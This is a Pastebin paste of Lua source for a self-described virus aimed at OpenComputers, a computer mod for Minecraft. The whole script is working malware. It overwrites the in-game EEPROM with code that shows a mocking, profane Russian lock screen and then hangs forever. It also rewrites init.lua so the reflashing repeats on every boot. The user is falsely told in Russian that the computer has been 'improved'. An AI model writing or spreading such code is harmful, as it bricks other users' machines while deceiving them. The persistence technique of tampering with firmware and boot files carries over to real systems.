Advertisement
Guest User

Untitled

a guest
Jan 22nd, 2017
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.94 KB | None | 0 0
  1.  
  2. local virusPath = "bin/Smally485.lua"
  3. local EEPROMLabel = "EEPROM (Lua BIOS)"
  4.  
  5. ------------------------------------------------------------------------------------------------------------------------
  6.  
  7. local EEPROMCode = [[
  8.  
  9. local textLines = {
  10. "Поздравляем!",
  11. "Вы стали одним из первых счастливых обладателей вируса на OpenComputers.",
  12. "Попытайтесь его удалить - посмотрим, что у вас выйдет. ",
  13. "Ну, а нубикам советую обращаться к ECS для разблокировки компа.",
  14. " ",
  15. "Хех)",
  16. }
  17.  
  18. local component_invoke = component.invoke
  19. function boot_invoke(address, method, ...)
  20. local result = table.pack(pcall(component_invoke, address, method, ...))
  21. if not result[1] then
  22. return nil, result[2]
  23. else
  24. return table.unpack(result, 2, result.n)
  25. end
  26. end
  27. ---------------------------------------------------------------
  28. local eeprom = component.list("eeprom")()
  29. computer.getBootAddress = function()
  30. return boot_invoke(eeprom, "getData")
  31. end
  32. computer.setBootAddress = function(address)
  33. return boot_invoke(eeprom, "setData", address)
  34. end
  35.  
  36. do
  37. _G.screen = component.list("screen")()
  38. _G.gpu = component.list("gpu")()
  39. if gpu and screen then
  40. boot_invoke(gpu, "bind", screen)
  41. end
  42. end
  43. ---------------------------------------------------------------
  44.  
  45. local function centerText(mode,coord,text)
  46. local dlina = unicode.len(text)
  47. local xSize,ySize = boot_invoke(gpu, "getResolution")
  48.  
  49. if mode == "x" then
  50. boot_invoke(gpu, "set", math.floor(xSize/2-dlina/2),coord,text)
  51. elseif mode == "y" then
  52. boot_invoke(gpu, "set", coord, math.floor(ySize/2),text)
  53. else
  54. boot_invoke(gpu, "set", math.floor(xSize/2-dlina/2),math.floor(ySize/2),text)
  55. end
  56. end
  57.  
  58. local function virus()
  59. local background, foreground = 0x0000AA, 0xCCCCCC
  60. local xSize, ySize = boot_invoke(gpu, "getResolution")
  61. boot_invoke(gpu, "setBackground", background)
  62. boot_invoke(gpu, "fill", 1, 1, xSize, ySize, " ")
  63.  
  64. boot_invoke(gpu, "setBackground", foreground)
  65. boot_invoke(gpu, "setForeground", background)
  66.  
  67. local y = math.floor(ySize / 2 - (#textLines + 2) / 2)
  68. centerText("x", y, " пизда компу блядь. (От смалли485) ")
  69. y = y + 2
  70.  
  71. boot_invoke(gpu, "setBackground", background)
  72. boot_invoke(gpu, "setForeground", foreground)
  73.  
  74. for i = 1, #textLines do
  75. centerText("x", y, textLines[i])
  76. y = y + 1
  77. end
  78.  
  79. while true do
  80. computer.pullSignal()
  81. end
  82. end
  83.  
  84. if gpu then virus() end
  85. ]]
  86.  
  87. local INITCode = [[
  88.  
  89. local backgroundColor = 0x262626
  90. local foregroundColor = 0xcccccc
  91.  
  92. do
  93.  
  94. _G._OSVERSION = "OpenOS 1.5"
  95.  
  96. local component = component
  97. local computer = computer
  98. local unicode = unicode
  99.  
  100. -- Runlevel information.
  101. local runlevel, shutdown = "S", computer.shutdown
  102. computer.runlevel = function() return runlevel end
  103. computer.shutdown = function(reboot)
  104. runlevel = reboot and 6 or 0
  105. if os.sleep then
  106. computer.pushSignal("shutdown")
  107. os.sleep(0.1) -- Allow shutdown processing.
  108. end
  109. shutdown(reboot)
  110. end
  111.  
  112. -- Low level dofile implementation to read filesystem libraries.
  113. local rom = {}
  114. function rom.invoke(method, ...)
  115. return component.invoke(computer.getBootAddress(), method, ...)
  116. end
  117. function rom.open(file) return rom.invoke("open", file) end
  118. function rom.read(handle) return rom.invoke("read", handle, math.huge) end
  119. function rom.close(handle) return rom.invoke("close", handle) end
  120. function rom.inits() return ipairs(rom.invoke("list", "boot")) end
  121. function rom.isDirectory(path) return rom.invoke("isDirectory", path) end
  122.  
  123. local screen = component.list('screen',true)()
  124. for address in component.list('screen',true) do
  125. if #component.invoke(address, 'getKeyboards') > 0 then
  126. screen = address
  127. end
  128. end
  129.  
  130. -- Report boot progress if possible.
  131. local gpu = component.list("gpu", true)()
  132. local w, h
  133. if gpu and screen then
  134. component.invoke(gpu, "bind", screen)
  135. w, h = component.invoke(gpu, "getResolution")
  136. component.invoke(gpu, "setResolution", w, h)
  137. component.invoke(gpu, "setBackground", backgroundColor)
  138. component.invoke(gpu, "setForeground", foregroundColor)
  139. component.invoke(gpu, "fill", 1, 1, w, h, " ")
  140. end
  141. local y = 1
  142. local function status(msg)
  143.  
  144.  
  145. local yPos = math.floor(h / 2)
  146. local length = #msg
  147. local xPos = math.floor(w / 2 - length / 2)
  148.  
  149. component.invoke(gpu, "fill", 1, yPos, w, 1, " ")
  150. component.invoke(gpu, "set", xPos, yPos, msg)
  151.  
  152. -- if gpu and screen then
  153. -- component.invoke(gpu, "set", 1, y, msg)
  154. -- if y == h then
  155. -- component.invoke(gpu, "copy", 1, 2, w, h - 1, 0, -1)
  156. -- component.invoke(gpu, "fill", 1, h, w, 1, " ")
  157. -- else
  158. -- y = y + 1
  159. -- end
  160. -- end
  161. end
  162.  
  163. status("Booting " .. _OSVERSION .. "...")
  164.  
  165. -- Custom low-level loadfile/dofile implementation reading from our ROM.
  166. local function loadfile(file)
  167. status("> " .. file)
  168. local handle, reason = rom.open(file)
  169. if not handle then
  170. error(reason)
  171. end
  172. local buffer = ""
  173. repeat
  174. local data, reason = rom.read(handle)
  175. if not data and reason then
  176. error(reason)
  177. end
  178. buffer = buffer .. (data or "")
  179. until not data
  180. rom.close(handle)
  181. return load(buffer, "=" .. file)
  182. end
  183.  
  184. local function dofile(file)
  185. local program, reason = loadfile(file)
  186. if program then
  187. local result = table.pack(pcall(program))
  188. if result[1] then
  189. return table.unpack(result, 2, result.n)
  190. else
  191. error(result[2])
  192. end
  193. else
  194. error(reason)
  195. end
  196. end
  197.  
  198. status("Initializing package management...")
  199.  
  200. -- Load file system related libraries we need to load other stuff moree
  201. -- comfortably. This is basically wrapper stuff for the file streams
  202. -- provided by the filesystem components.
  203. local package = dofile("/lib/package.lua")
  204.  
  205. do
  206. -- Unclutter global namespace now that we have the package module.
  207. --_G.component = nil
  208. _G.computer = nil
  209. _G.process = nil
  210. _G.unicode = nil
  211.  
  212. -- Initialize the package module with some of our own APIs.
  213. package.preload["buffer"] = loadfile("/lib/buffer.lua")
  214. package.preload["component"] = function() return component end
  215. package.preload["computer"] = function() return computer end
  216. package.preload["filesystem"] = loadfile("/lib/filesystem.lua")
  217. package.preload["io"] = loadfile("/lib/io.lua")
  218. package.preload["unicode"] = function() return unicode end
  219.  
  220. -- Inject the package and io modules into the global namespace, as in Lua.
  221. _G.package = package
  222. _G.io = require("io")
  223.  
  224. end
  225.  
  226. status("Initializing file system...")
  227.  
  228. -- Mount the ROM and temporary file systems to allow working on the file
  229. -- system module from this point on.
  230. local filesystem = require("filesystem")
  231. filesystem.mount(computer.getBootAddress(), "/")
  232.  
  233. status("Running boot scripts...")
  234.  
  235. -- Run library startup scripts. These mostly initialize event handlers.
  236. local scripts = {}
  237. for _, file in rom.inits() do
  238. local path = "boot/" .. file
  239. if not rom.isDirectory(path) then
  240. table.insert(scripts, path)
  241. end
  242. end
  243. table.sort(scripts)
  244. for i = 1, #scripts do
  245. dofile(scripts[i])
  246. end
  247.  
  248. status("Initializing components...")
  249.  
  250. local primaries = {}
  251. for c, t in component.list() do
  252. local s = component.slot(c)
  253. if (not primaries[t] or (s >= 0 and s < primaries[t].slot)) and t ~= "screen" then
  254. primaries[t] = {address=c, slot=s}
  255. end
  256. computer.pushSignal("component_added", c, t)
  257. end
  258. for t, c in pairs(primaries) do
  259. component.setPrimary(t, c.address)
  260. end
  261. os.sleep(0.5) -- Allow signal processing by libraries.
  262. --computer.pushSignal("init") -- so libs know components are initialized.
  263.  
  264. -- status("Initializing system...")
  265. --require("term").clear()
  266. os.sleep(0.1) -- Allow init processing.
  267. runlevel = 1
  268. end
  269. ]]
  270.  
  271. local component = require("component")
  272. local args = { ... }
  273.  
  274. local function flashEEPROM()
  275. local eeprom = component.getPrimary("eeprom")
  276. eeprom.set(EEPROMCode)
  277. eeprom.setLabel(EEPROMLabel)
  278. end
  279.  
  280. local function rewriteInit()
  281. local file = io.open("init.lua", "w")
  282. file:write(INITCode, "\n", "\n")
  283. file:write("pcall(loadfile(\"" .. virusPath .. "\"), \"flashEEPROM\")", "\n", "\n")
  284. file:write("require(\"computer\").shutdown(true)")
  285. file:close()
  286. end
  287.  
  288. if args[1] == "flashEEPROM" then
  289. flashEEPROM()
  290. else
  291. print(" ")
  292. print("Перепрошиваю BIOS...")
  293. flashEEPROM()
  294. print("Перезаписываю кастомный init.lua...")
  295. rewriteInit()
  296. print(" ")
  297. print("Твой компьютер усовершенствован. Перезагружай!")
  298. print(" ")
  299. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement